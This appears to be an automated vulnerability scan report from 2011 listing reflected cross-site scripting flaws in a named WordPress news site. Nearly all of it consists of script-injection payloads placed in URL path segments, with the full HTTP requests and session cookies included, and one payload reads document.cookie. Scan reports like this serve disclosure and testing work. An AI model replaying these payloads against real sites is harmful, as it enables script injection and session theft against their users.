GET /wp-content/themes/shadow7308c"><script>alert(1)</script>3ee816aebbb/facebox/facebox.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd045"><script>alert(1)</script>17569ef3f76 was submitted in the REST URL parameter 4. This input was echoed as cd045\"><script>alert(1)</script>17569ef3f76 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/faceboxcd045"><script>alert(1)</script>17569ef3f76/facebox.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a09c"><script>alert(1)</script>407fb9720e3 was submitted in the REST URL parameter 5. This input was echoed as 3a09c\"><script>alert(1)</script>407fb9720e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/facebox/facebox.js3a09c"><script>alert(1)</script>407fb9720e3 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97a52"><script>alert(1)</script>839a7f7b5f4 was submitted in the REST URL parameter 1. This input was echoed as 97a52\"><script>alert(1)</script>839a7f7b5f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content97a52"><script>alert(1)</script>839a7f7b5f4/themes/shadow/facebox/jquery-1.2.2.pack.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4c5b"><script>alert(1)</script>931c5c5546f was submitted in the REST URL parameter 2. This input was echoed as a4c5b\"><script>alert(1)</script>931c5c5546f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themesa4c5b"><script>alert(1)</script>931c5c5546f/shadow/facebox/jquery-1.2.2.pack.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9f02"><script>alert(1)</script>494bbf461e3 was submitted in the REST URL parameter 3. This input was echoed as f9f02\"><script>alert(1)</script>494bbf461e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadowf9f02"><script>alert(1)</script>494bbf461e3/facebox/jquery-1.2.2.pack.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 298fa"><script>alert(1)</script>096af0f6e63 was submitted in the REST URL parameter 4. This input was echoed as 298fa\"><script>alert(1)</script>096af0f6e63 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/facebox298fa"><script>alert(1)</script>096af0f6e63/jquery-1.2.2.pack.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b148c"><script>alert(1)</script>ed01bd5fa24 was submitted in the REST URL parameter 5. This input was echoed as b148c\"><script>alert(1)</script>ed01bd5fa24 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/facebox/jquery-1.2.2.pack.jsb148c"><script>alert(1)</script>ed01bd5fa24 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6f3d"><script>alert(1)</script>b31a84a4f19 was submitted in the REST URL parameter 1. This input was echoed as d6f3d\"><script>alert(1)</script>b31a84a4f19 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentd6f3d"><script>alert(1)</script>b31a84a4f19/themes/shadow/iepngfix.htc HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; lastpost=b5ecd3c5dc5b053e7b22b8e1502a67b3; PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510; fbsetting_018ba7e06c4505193be6bdac2b0628d9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; crep=show;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:53:23 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 22:53:24 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 22:53:24 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51005
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18120"><script>alert(1)</script>22d9e782dd3 was submitted in the REST URL parameter 2. This input was echoed as 18120\"><script>alert(1)</script>22d9e782dd3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes18120"><script>alert(1)</script>22d9e782dd3/shadow/iepngfix.htc HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; lastpost=b5ecd3c5dc5b053e7b22b8e1502a67b3; PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510; fbsetting_018ba7e06c4505193be6bdac2b0628d9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; crep=show;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:54:35 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 22:54:37 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 22:54:37 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51005
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90633"><script>alert(1)</script>411b24f9cf was submitted in the REST URL parameter 3. This input was echoed as 90633\"><script>alert(1)</script>411b24f9cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow90633"><script>alert(1)</script>411b24f9cf/iepngfix.htc HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; lastpost=b5ecd3c5dc5b053e7b22b8e1502a67b3; PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510; fbsetting_018ba7e06c4505193be6bdac2b0628d9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; crep=show;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:56:20 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 22:56:23 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 22:56:23 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51003
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e177e"><script>alert(1)</script>9096259822e was submitted in the REST URL parameter 4. This input was echoed as e177e\"><script>alert(1)</script>9096259822e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/iepngfix.htce177e"><script>alert(1)</script>9096259822e HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; lastpost=b5ecd3c5dc5b053e7b22b8e1502a67b3; PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510; fbsetting_018ba7e06c4505193be6bdac2b0628d9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; crep=show;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:57:56 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 22:57:59 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 22:57:59 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51005
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41302"><script>alert(1)</script>e87a12b68da was submitted in the REST URL parameter 1. This input was echoed as 41302\"><script>alert(1)</script>e87a12b68da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content41302"><script>alert(1)</script>e87a12b68da/themes/shadow/style.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ed22"><script>alert(1)</script>5a2e316bbc0 was submitted in the REST URL parameter 2. This input was echoed as 9ed22\"><script>alert(1)</script>5a2e316bbc0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes9ed22"><script>alert(1)</script>5a2e316bbc0/shadow/style.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97ab4"><script>alert(1)</script>3c035f3b0b7 was submitted in the REST URL parameter 3. This input was echoed as 97ab4\"><script>alert(1)</script>3c035f3b0b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow97ab4"><script>alert(1)</script>3c035f3b0b7/style.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5175e"><script>alert(1)</script>c88bcf20bbe was submitted in the REST URL parameter 4. This input was echoed as 5175e\"><script>alert(1)</script>c88bcf20bbe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/style.css5175e"><script>alert(1)</script>c88bcf20bbe HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5c7a"><script>alert(1)</script>287ad5da87 was submitted in the REST URL parameter 1. This input was echoed as b5c7a\"><script>alert(1)</script>287ad5da87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includesb5c7a"><script>alert(1)</script>287ad5da87/js/jquery/jquery.js?ver=1.3.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d169"><script>alert(1)</script>c3aaf9c5f26 was submitted in the REST URL parameter 2. This input was echoed as 6d169\"><script>alert(1)</script>c3aaf9c5f26 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js6d169"><script>alert(1)</script>c3aaf9c5f26/jquery/jquery.js?ver=1.3.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 945b8"><script>alert(1)</script>61e796b665 was submitted in the REST URL parameter 3. This input was echoed as 945b8\"><script>alert(1)</script>61e796b665 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery945b8"><script>alert(1)</script>61e796b665/jquery.js?ver=1.3.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4f40"><script>alert(1)</script>f83f8fcb684 was submitted in the REST URL parameter 4. This input was echoed as f4f40\"><script>alert(1)</script>f83f8fcb684 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/jquery.jsf4f40"><script>alert(1)</script>f83f8fcb684?ver=1.3.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26ae6"><script>alert(1)</script>6cd9f7aaf41 was submitted in the REST URL parameter 1. This input was echoed as 26ae6\"><script>alert(1)</script>6cd9f7aaf41 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes26ae6"><script>alert(1)</script>6cd9f7aaf41/js/jquery/ui.core.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72448"><script>alert(1)</script>0f970ac7d28 was submitted in the REST URL parameter 2. This input was echoed as 72448\"><script>alert(1)</script>0f970ac7d28 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js72448"><script>alert(1)</script>0f970ac7d28/jquery/ui.core.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75573"><script>alert(1)</script>aba3e01e65 was submitted in the REST URL parameter 3. This input was echoed as 75573\"><script>alert(1)</script>aba3e01e65 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery75573"><script>alert(1)</script>aba3e01e65/ui.core.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
